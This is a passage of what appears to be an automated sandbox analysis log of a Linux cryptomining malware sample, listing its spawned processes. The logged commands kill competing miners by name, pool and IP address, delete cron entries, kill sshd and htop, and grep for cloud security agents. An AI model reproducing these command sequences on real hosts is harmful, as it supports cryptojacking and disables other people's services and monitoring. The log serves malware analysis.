  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1448
- /bin/grep
  grep exe
  2⤵
  PID:1451
- /bin/ls
  ls -latrh /proc/vmallocinfo
  2⤵
  PID:1450
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1453
- /bin/grep
  grep exe
  2⤵
  PID:1456
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1455
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1458
- /bin/grep
  grep exe
  2⤵
  PID:1461
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1460
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1463
- /bin/grep
  grep -v grep
  2⤵
  PID:1466
- /bin/grep
  grep /dot
  2⤵
  PID:1465
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1464
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1468
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1467
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  PID:1469
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1473
- /bin/grep
  grep -v grep
  2⤵
  PID:1472
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1474
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1470
- /bin/grep
  grep tracepath
  2⤵
  PID:1471
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  PID:1475
- /bin/grep
  grep -v grep
  2⤵
  PID:1478
- /bin/grep
  grep ./ll1
  2⤵
  PID:1477
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1479
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1480
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1476
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  PID:1482
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1481
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1483
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  - Attempts to change immutable files
  PID:1484
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1489
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1488
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:1486
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1485
- /bin/grep
  grep -v grep
  2⤵
  PID:1487
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1493
- /bin/grep
  grep -v grep
  2⤵
  PID:1492
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1494
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:1491
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1490
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1498
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1499
- /bin/grep
  grep -v grep
  2⤵
  PID:1497
- /bin/grep
  grep "bash -k"
  2⤵
  PID:1496
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1495
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1504
- /bin/grep
  grep -v grep
  2⤵
  PID:1502
- /bin/grep
  grep perfctl
  2⤵
  PID:1501
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1503
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1500
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1506
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1507
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1509
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1508
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1512
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1511
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1514
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1513
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1518
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1517
- /bin/grep
  grep -v -
  2⤵
  PID:1519
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1516
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1520
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1523
- /bin/grep
  grep -v -
  2⤵
  PID:1525
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:1522
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1524
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1526
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1530
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1528
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1532
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1529
- /bin/grep
  grep -v -
  2⤵
  PID:1531
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1535
- /bin/grep
  grep -v -
  2⤵
  PID:1537
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1534
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1536
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1538
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  PID:1539
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1544
- /bin/grep
  grep agetty
  2⤵
  PID:1541
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1540
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1543
- /bin/grep
  grep -v grep
  2⤵
  PID:1542
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads runtime system information
  PID:1545
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1546
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1548
- /bin/sed
  sed /192.81.212.13/d
  2⤵
  PID:1547
- /bin/sed
  sed /base64/d
  2⤵
  PID:1550
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1549
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1551
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1554
- /bin/sed
  sed /python/d
  2⤵
  PID:1553
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1552
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1557
- /bin/sed
  sed /shm/d
  2⤵
  PID:1556
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1555
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1560
- /bin/sed
  sed /postgresql/d
  2⤵
  PID:1559
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1558
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1563
- /bin/sed
  sed /cloudfronts/d
  2⤵
  PID:1562
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1561
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1566
- /bin/sed
  sed /sshd/d
  2⤵
  PID:1565
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1564
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1567
- /bin/sed
  sed /linux/d
  2⤵
  PID:1568
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1569
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1572
- /bin/sed
  sed /neoogilvy/d
  2⤵
  PID:1571
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1570
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1575
- /bin/sed
  sed /rsync/d
  2⤵
  PID:1574
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1573
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1576
- /bin/sed
  sed /bpdeliver/d
  2⤵
  PID:1577
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1578
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1581
- /bin/sed
  sed /perfcc/d
  2⤵
  PID:1580
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1579
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1584
- /bin/sed
  sed /atdb/d
  2⤵
  PID:1583
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1582
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads CPU attributes
  PID:1585
- /usr/bin/pkill
  pkill -f htop
  2⤵
  PID:1586
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1588
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  - Reads CPU attributes
  PID:1589
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1590
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  - Reads CPU attributes
  PID:1591
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  - Reads runtime system information
  PID:1592
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1593
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1597
- /bin/grep
  grep :1414
  2⤵
  PID:1595
- /bin/grep
  grep -v -
  2⤵
  PID:1598
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1599
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1596
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1602
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1601
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1605
- /bin/grep
  grep -v -
  2⤵
  PID:1604
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1603
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1608
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1609
- /bin/grep
  grep -v -
  2⤵
  PID:1610
- /bin/grep
  grep :143
  2⤵
  PID:1607
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1611
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1614
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1615
- /bin/grep
  grep -v -
  2⤵
  PID:1616
- /bin/grep
  grep :2222
  2⤵
  PID:1613
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1617
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1620
- /bin/grep
  grep :3333
  2⤵
  PID:1619
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1621
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1623
- /bin/grep
  grep -v -
  2⤵
  PID:1622
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1627
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1626
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1629
- /bin/grep
  grep -v -
  2⤵
  PID:1628
- /bin/grep
  grep :3389
  2⤵
  PID:1625
- /bin/grep
  grep -v -
  2⤵
  PID:1634
- /bin/grep
  grep :4444
  2⤵
  PID:1631
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1635
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1632
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1633
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1639
- /bin/grep
  grep :5555
  2⤵
  PID:1637
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1641
- /bin/grep
  grep -v -
  2⤵
  PID:1640
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1638
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1645
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1644
- /bin/grep
  grep -v -
  2⤵
  PID:1646
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1647
- /bin/grep
  grep :6666
  2⤵
  PID:1643
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1651
- /bin/grep
  grep -v -
  2⤵
  PID:1652
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1653
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1650
- /bin/grep
  grep :6665
  2⤵
  PID:1649
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1657
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1656
- /bin/grep
  grep -v -
  2⤵
  PID:1658
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1659
- /bin/grep
  grep :6667
  2⤵
  PID:1655
- /bin/grep
  grep -v -
  2⤵
  PID:1664
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1662
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1663
- /bin/grep
  grep :7777
  2⤵
  PID:1661
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1665
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1668
- /bin/grep
  grep -v -
  2⤵
  PID:1670
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1671
- /bin/grep
  grep :8444
  2⤵
  PID:1667
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1669
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1675
- /bin/grep
  grep :3347
  2⤵
  PID:1673
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1677
- /bin/grep
  grep -v -
  2⤵
  PID:1676
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1674
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1681
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1680
- /bin/grep
  grep -v -
  2⤵
  PID:1682
- /bin/grep
  grep :14444
  2⤵
  PID:1679
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1683
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1687
- /bin/grep
  grep -v -
  2⤵
  PID:1688
- /bin/grep
  grep :14433
  2⤵
  PID:1685
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1686
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1689
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1693
- /bin/grep
  grep -v -
  2⤵
  PID:1694
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1695
- /bin/grep
  grep :13531
  2⤵
  PID:1691
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1692
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  PID:1696
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1698
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1697
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  - Attempts to change immutable files
  PID:1699
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1701
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1700
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  - Attempts to change immutable files
  PID:1702
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1704
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1703
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  - Attempts to change immutable files
  PID:1705
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1707
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1706
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  PID:1708
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1710
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1709
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  - Attempts to change immutable files
  PID:1711
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1713
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1712
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1714
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1715
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1716
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  - Attempts to change immutable files
  PID:1717
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1719
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1718
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  PID:1720
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1722
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1721
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  PID:1723
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1725
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1724
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  - Attempts to change immutable files
  PID:1726
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1728
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:1727
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  PID:1729
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1731
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:1730
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  PID:1732
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  PID:1733
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  PID:1734
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1735
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  PID:1736
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  PID:1737
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  PID:1738
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  PID:1739
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads CPU attributes
  PID:1740
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1741
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  PID:1742
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads runtime system information
  PID:1743
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1744
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads runtime system information
  PID:1745
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  PID:1746
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1747
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  PID:1748
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  PID:1749
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  PID:1750
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1751
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  PID:1752
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  PID:1753
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads runtime system information
  PID:1754
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:1755
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1756
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads runtime system information
  PID:1757
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1758
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads runtime system information
  PID:1759
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  PID:1760
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:1761
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  PID:1762
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  PID:1763
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads runtime system information
  PID:1764
- /bin/grep
  grep ./udp
  2⤵
  PID:1766
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1768
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1769
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1765
- /bin/grep
  grep -v grep
  2⤵
  PID:1767
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1774
- /bin/grep
  grep ./oka
  2⤵
  PID:1771
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1773
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1770
- /bin/grep
  grep -v grep
  2⤵
  PID:1772
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1778
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1779
- /bin/grep
  grep -v grep
  2⤵
  PID:1777
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1776
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1775
- /bin/grep
  grep -v "("
  2⤵
  PID:1784
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1781
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1786
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  PID:1780
- /bin/grep
  grep -v bin
  2⤵
  PID:1782
- /bin/grep
  grep -v postgres
  2⤵
  PID:1787
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1783
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1785
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1788
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1789
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1790
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1791
- /bin/grep
  grep -v bin
  2⤵
  PID:1794
- /bin/grep
  grep -v "("
  2⤵
  PID:1796
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1797
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1795
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1798
- /bin/grep
  grep -v postgres
  2⤵
  PID:1799
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1792
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1793
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1800
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1801
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1802
- /bin/grep
  grep -v bin
  2⤵
  PID:1805
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1804
- /bin/grep
  grep -v "("
  2⤵
  PID:1807
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1809
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1806
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  PID:1803
- /bin/grep
  grep -v postgres
  2⤵
  PID:1810
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1808
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1811
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1813
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1812
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1817
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1816
- /bin/grep
  grep -v grep
  2⤵
  PID:1815
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1818
- /bin/ps
  ps aux
  2⤵
